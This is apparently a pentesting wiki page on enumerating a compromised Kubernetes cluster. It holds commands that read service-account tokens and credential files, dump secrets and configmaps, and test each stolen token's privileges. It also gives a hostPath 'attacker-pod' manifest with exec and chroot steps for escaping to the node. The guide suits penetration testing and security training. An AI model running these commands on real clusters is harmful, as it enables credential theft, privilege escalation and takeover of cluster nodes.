跳转至

Kubernetes Enumeration

Kubernetes Tokens

If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the env var KUBECONFIG or inside ~/.kube.

In this folder you might find config files with tokens and configurations to connect to the API server. In this folder you can also find a cache folder with information previously retrieved.

If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:

Service Account Tokens

Before continuing, if you don't know what is a service in Kubernetes I would suggest you to follow this link and read at least the information about Kubernetes architecture.

Taken from the Kubernetes documentation:

“When you create a pod, if you do not specify a service account, it is automatically assigned the default service account in the same namespace.”

ServiceAccount is an object managed by Kubernetes and used to provide an identity for processes that run in a pod. Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.

Usually one of the directories:

  • /run/secrets/kubernetes.io/serviceaccount
  • /var/run/secrets/kubernetes.io/serviceaccount
  • /secrets/kubernetes.io/serviceaccount

contain the files:

  • ca.crt: It's the ca certificate to check kubernetes communications
  • namespace: It indicates the current namespace
  • token: It contains the service token of the current pod.

Now that you have the token, you can find the API server inside the environment variable KUBECONFIG. For more info run (env | set) | grep -i "kuber|kube``"

The service account token is being signed by the key residing in the file sa.key and validated by sa.pub.

Default location on Kubernetes:

  • /etc/kubernetes/pki

Default location on Minikube:

  • /var/lib/localkube/certs

Hot Pods

Hot pods are pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.

RBAC

If you don't know what is RBAC, read this section.

GUI Applications

  • k9s: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands inhttps://k9scli.io/topics/commands/. Write :namespace and select all to then search resources in all the namespaces.
  • k8slens: It offers some free trial days: https://k8slens.dev/

Enumeration CheatSheet

In order to enumerate a K8s environment you need a couple of this:

  • A valid authentication token. In the previous section we saw where to search for a user token and for a service account token.
  • The address (https://host:port) of the Kubernetes API. This can be usually found in the environment variables and/or in the kube config file.
  • Optional: The ca.crt to verify the API server. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using --insecure-skip-tls-verify with kubectl or -k with curl you won't need this.

With those details you can enumerate kubernetes. If the API for some reason is accessible through the Internet, you can just download that info and enumerate the platform from your host.

However, usually the API server is inside an internal network, therefore you will need to create a tunnel through the compromised machine to access it from your machine, or you can upload the kubectl binary, or use curl/wget/anything to perform raw HTTP requests to the API server.

Differences between list and get verbs

With get permissions you can access information of specific assets (describe option in kubectl) API:

Text Only
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

If you have the **list** permission, you are allowed to execute API requests to list a type of asset (*get* option in *kubectl*):

Bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

If you have the watch permission, you are allowed to execute API requests to monitor assets:

Bash
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created).

Warning

The following kubectl commands indicates just how to list the objects. If you want to access the data you need to use describe instead of get

Using curl

From inside a pod you can use several env variables:

Bash
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Tip

By default the pod can access the kube-api server in the domain name kubernetes.default.svc and you can see the kube network in /etc/resolv.config as here you will find the address of the kubernetes DNS server (the ".1" of the same range is the kube-api endpoint).

Using kubectl

Having the token and the address of the API server you use kubectl or curl to access it as indicated here:

By default, The APISERVER is communicating with https:// schema

Bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

if no https:// in url, you may get Error Like Bad Request.

You can find an official kubectl cheatsheet here. The goal of the following sections is to present in ordered manner different options to enumerate and understand the new K8s you have obtained access to.

To find the HTTP request that kubectl sends you can use the parameter -v=8

MitM kubectl - Proxyfying kubectl

Bash
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Current Configuration

Kubectl

Bash
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

If you managed to steal some users credentials you can configure them locally using something like:

Bash
kubectl config set-credentials USER_NAME \
   --auth-provider=oidc \
   --auth-provider-arg=idp-issuer-url=( issuer url ) \
   --auth-provider-arg=client-id=( your client id ) \
   --auth-provider-arg=client-secret=( your client secret ) \
   --auth-provider-arg=refresh-token=( your refresh token ) \
   --auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
   --auth-provider-arg=id-token=( your id_token )

Get Supported Resources

With this info you will know all the services you can list

  • kubectl
Bash
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
  • api
Bash
kurl -i -s -k -X $'POST' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
    "https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

Get Current Privileges

  • kubectl
Bash
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
  • api
Bash
kurl -i -s -k -X $'POST' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
    "https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

Another way to check your privileges is using the tool: https://github.com/corneliusweig/rakkess

You can learn more about Kubernetes RBAC in:

Kubernetes Role-Based Access Control(RBAC)

Once you know which privileges you have, check the following page to figure out if you can abuse them to escalate privileges:

Abusing Roles/ClusterRoles in Kubernetes

Get Others roles

  • kubectl
Bash
k get roles
k get clusterroles
  • api
Bash
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

Get namespaces

Kubernetes supports multiple virtual clusters backed by the same physical cluster. These virtual clusters are called namespaces.

  • kubectl
Bash
k get namespaces
  • api
Bash
kurl -k -v https://$APISERVER/api/v1/namespaces/

Get secrets

  • kubectl
Bash
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
  • api
Bash
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

If you can read secrets you can use the following lines to get the privileges related to each to token:

Bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Get Service Accounts

As discussed at the begging of this page when a pod is run a service account is usually assigned to it. Therefore, listing the service accounts, their permissions and where are they running may allow a user to escalate privileges.

  • kubetl
Bash
k get serviceaccounts
  • API
Bash
kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts

Get Deployments

The deployments specify the components that need to be run.

  • kubectl
Bash
k get deployments
k get deployments -n custnamespace
  • API
Bash
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

Get Pods

The Pods are the actual containers that will run.

  • kubectl
Bash
k get pods
k get pods -n custnamespace
  • API
Bash
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

Get Services

Kubernetes services are used to expose a service in a specific port and IP (which will act as load balancer to the pods that are actually offering the service). This is interesting to know where you can find other services to try to attack.

  • kubectl
Bash
k get services
k get services -n custnamespace
  • API
Bash
kurl -v https://$APISERVER/api/v1/namespaces/default/services/

Get nodes

Get all the nodes configured inside the cluster.

  • kubectl
Bash
k get nodes
  • API
Bash
kurl -v https://$APISERVER/api/v1/nodes/

Get DaemonSets

DaeamonSets allows to ensure that a specific pod is running in all the nodes of the cluster (or in the ones selected). If you delete the DaemonSet the pods managed by it will be also removed.

  • kubectl
Bash
k get daemonsets
  • API
Bash
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

Get cronjob

Cron jobs allows to schedule using crontab like syntax the launch of a pod that will perform some action.

  • kubectl
Bash
k get cronjobs
  • API
Bash
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs

Get configMap

configMap always contains a lot of information and configfile that provide to apps which run in the kubernetes. Usually You can find a lot of password, secrets, tokens which used to connecting and validating to other internal/external service.

  • kubectl
Bash
k get configmaps # -n namespace
  • API
Bash
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps 

Get Network Policies / Cilium Network Policies

Bash
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

Get Everything / All

kubectl

Bash
k get all

Get all resources managed by helm

kubectl

Bash
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

Get Pods consumptions

kubectl

Bash
k top pod --all-namespaces

Escaping from the pod

If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.

Bash
kubectl get pod <name> [-n <namespace>] -o yaml

if you need create pod on the specific node, you can use following command to get labels on node

Text Only
k get nodes --show-labels

Commonly, kubernetes.io/hostname and node-role.kubernetes.io/master are all good label for select.

Then you create your attack.yaml file

YAML
apiVersion: v1
kind: Pod
metadata:
  labels:
    run: attacker-pod
  name: attacker-pod
  namespace: default
spec:
  volumes:
  - name: host-fs
    hostPath:
      path: /
  containers:
  - image: ubuntu
    imagePullPolicy: Always
    name: attacker-pod
    command: ["/bin/sh", "-c", "sleep infinity"]
    volumeMounts:
      - name: host-fs
        mountPath: /root
  restartPolicy: Never
  # nodeName and nodeSelector enable one of them when you need to create pod on the specific node
  #nodeName: master
  #nodeSelector:
  #  kubernetes.io/hostname: master 
  # or using
  #  node-role.kubernetes.io/master: ""

original yaml source

After that you create the pod

Bash
kubectl apply -f attacker.yaml [-n <namespace>]

Now you can switch to the created pod as follows

Bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

And finally you chroot into the node's system

Bash
chroot /root /bin/bash

Information obtained from: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1